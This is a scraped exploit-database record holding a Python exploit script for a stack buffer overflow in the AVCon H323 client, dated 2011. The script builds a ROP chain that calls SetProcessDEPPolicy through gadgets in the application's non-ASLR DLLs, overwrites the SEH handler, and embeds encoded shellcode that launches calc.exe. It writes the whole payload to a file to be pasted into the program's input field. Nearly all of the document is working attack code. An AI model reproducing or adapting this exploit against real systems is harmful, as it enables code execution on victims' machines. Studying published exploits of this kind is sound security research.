AVCon Buffer Overflow With DEP Bypass

{"hash": "ba5c27805b970e8de842ad22a45a9fddef9ef91ee540389d6105245655517780", "sourceHref": "https://packetstormsecurity.com/files/download/105252/avcon-bypass.txt", "title": "AVCon Buffer Overflow With DEP Bypass", "id": "PACKETSTORM:105252", "published": "2011-09-21T00:00:00", "description": "", "modified": "2011-09-21T00:00:00", "sourceData": "`# DEP Bypass for OptIn/OptOut \n# all modules used are not aslr aware \n# script produces a text file, copy the contents \n# paste in the input field next to the call button \n# discovered by Dillon Beresford \n \nimport sys \nfrom struct import pack \n \nprint \"\\n=====================\" \nprint \"AVCon H323 DEP Bypass\" \nprint \" Written by Blake \" \nprint \" Tested on XP SP3 \" \nprint \"=====================\\n\" \n \n# around 619 bytes of space before seh overwrite \n# if more space is needed, around 2263 bytes after seh overwrite \n# calc.exe \nshellcode =( \n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\" \n\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\" \n\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\" \n\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\" \n\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x44\" \n\"\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x48\\x45\\x54\\x4e\\x43\\x4b\\x38\\x4e\\x47\" \n\"\\x45\\x50\\x4a\\x57\\x41\\x30\\x4f\\x4e\\x4b\\x58\\x4f\\x54\\x4a\\x41\\x4b\\x38\" \n\"\\x4f\\x45\\x42\\x42\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x38\\x46\\x33\\x4b\\x48\" \n\"\\x41\\x50\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x58\\x42\\x4c\" \n\"\\x46\\x57\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e\" \n\"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x32\\x46\\x50\\x45\\x47\\x45\\x4e\\x4b\\x58\" \n\"\\x4f\\x45\\x46\\x52\\x41\\x50\\x4b\\x4e\\x48\\x56\\x4b\\x58\\x4e\\x50\\x4b\\x44\" \n\"\\x4b\\x48\\x4f\\x55\\x4e\\x41\\x41\\x30\\x4b\\x4e\\x4b\\x58\\x4e\\x41\\x4b\\x38\" \n\"\\x41\\x50\\x4b\\x4e\\x49\\x48\\x4e\\x45\\x46\\x32\\x46\\x50\\x43\\x4c\\x41\\x33\" \n\"\\x42\\x4c\\x46\\x46\\x4b\\x38\\x42\\x44\\x42\\x53\\x45\\x38\\x42\\x4c\\x4a\\x47\" \n\"\\x4e\\x30\\x4b\\x48\\x42\\x44\\x4e\\x50\\x4b\\x58\\x42\\x37\\x4e\\x51\\x4d\\x4a\" \n\"\\x4b\\x48\\x4a\\x36\\x4a\\x30\\x4b\\x4e\\x49\\x50\\x4b\\x38\\x42\\x58\\x42\\x4b\" \n\"\\x42\\x50\\x42\\x50\\x42\\x50\\x4b\\x38\\x4a\\x36\\x4e\\x43\\x4f\\x45\\x41\\x53\" \n\"\\x48\\x4f\\x42\\x46\\x48\\x35\\x49\\x38\\x4a\\x4f\\x43\\x48\\x42\\x4c\\x4b\\x57\" \n\"\\x42\\x45\\x4a\\x36\\x42\\x4f\\x4c\\x38\\x46\\x30\\x4f\\x35\\x4a\\x46\\x4a\\x39\" \n\"\\x50\\x4f\\x4c\\x38\\x50\\x50\\x47\\x55\\x4f\\x4f\\x47\\x4e\\x43\\x46\\x41\\x46\" \n\"\\x4e\\x46\\x43\\x36\\x42\\x50\\x5a\") \n \n# SetProcessDEPPolicy ROP Chain \nseh = pack('<L',0x1001414a) # {pivot 2072} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN ** [avnmc2.dll] \nrop_nop = \"\\x41\" * 3 # needed to align rop nop \nrop_nop += pack('<L',0x10024c43) * 90 # RETN - avnmc2.dll \nrop = pack('<L',0x20047e99) # POP EBX, RETN - HikPlayM4.dll \nrop += \"\\xff\\xff\\xff\\xff\" \nrop += pack('<L',0x6de13c78) # INC EBX # RETN 00 ** [xish264.dll] \nrop += pack('<L',0x6ddc48e4) # POP EBP, RETN - xish264.dll \nrop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy - XP SP3 \nrop += pack('<L',0x20050f44) # POP EDI, RETN - HikPlayM4.dll \nrop += pack('<L',0x20050f45) # RETN \nrop += pack('<L',0X20014DE1) # POP ESI, RETN \nrop += pack('<L',0x20050f45) # RETN \nrop += pack('<L',0x10016d22) # PUSHAD # RETN ** [avnmc2.dll] \n \nnops = \"\\x90\" * 20 \njunk = \"\\x43\" * 5000 \nbuffer = \"\\x41\" * (1023 - len(rop_nop + rop + nops + shellcode)) # SEH overwritten at 1023 \n \nprint \"[+] Creating file\" \ntry: \nfile = open(\"exploit.txt\",\"w\") \nfile.write(rop_nop + rop + nops + shellcode + buffer + seh + junk) \nfile.close() \nprint \"[+] File created\" \nexcept: \nprint \"[X] Error creating file!\" \n \nraw_input(\"[+] Press any key to exit\\n\") \n \n \n`\n", "reporter": "Blake", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "1c7e2767f999611d1c19ce504ec00cfa"}, {"key": "modified", "hash": "3d805ed56442310f865a593271cf09fc"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "3d805ed56442310f865a593271cf09fc"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "c19eea7d22846c98a5b49132d5ea9eee"}, {"key": "sourceData", "hash": "5d52661076d1213b85bed9beca06e0ef"}, {"key": "sourceHref", "hash": "db45d5aa6a99a5a4b00d098bb5ec988c"}, {"key": "title", "hash": "99dc0412b609cb410473ace15ab76c21"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "cvss": {"vector": "NONE", "score": 0}, "references": [], "type": "packetstorm", "cvelist": [], "history": [], "bulletinFamily": "exploit", "objectVersion": "1.2", "edition": 1, "href": "https://packetstormsecurity.com/files/105252/AVCon-Buffer-Overflow-With-DEP-Bypass.html", "lastseen": "2016-11-03T10:16:04", "viewCount": 0, "enchantments": {"vulnersScore": 6.0}}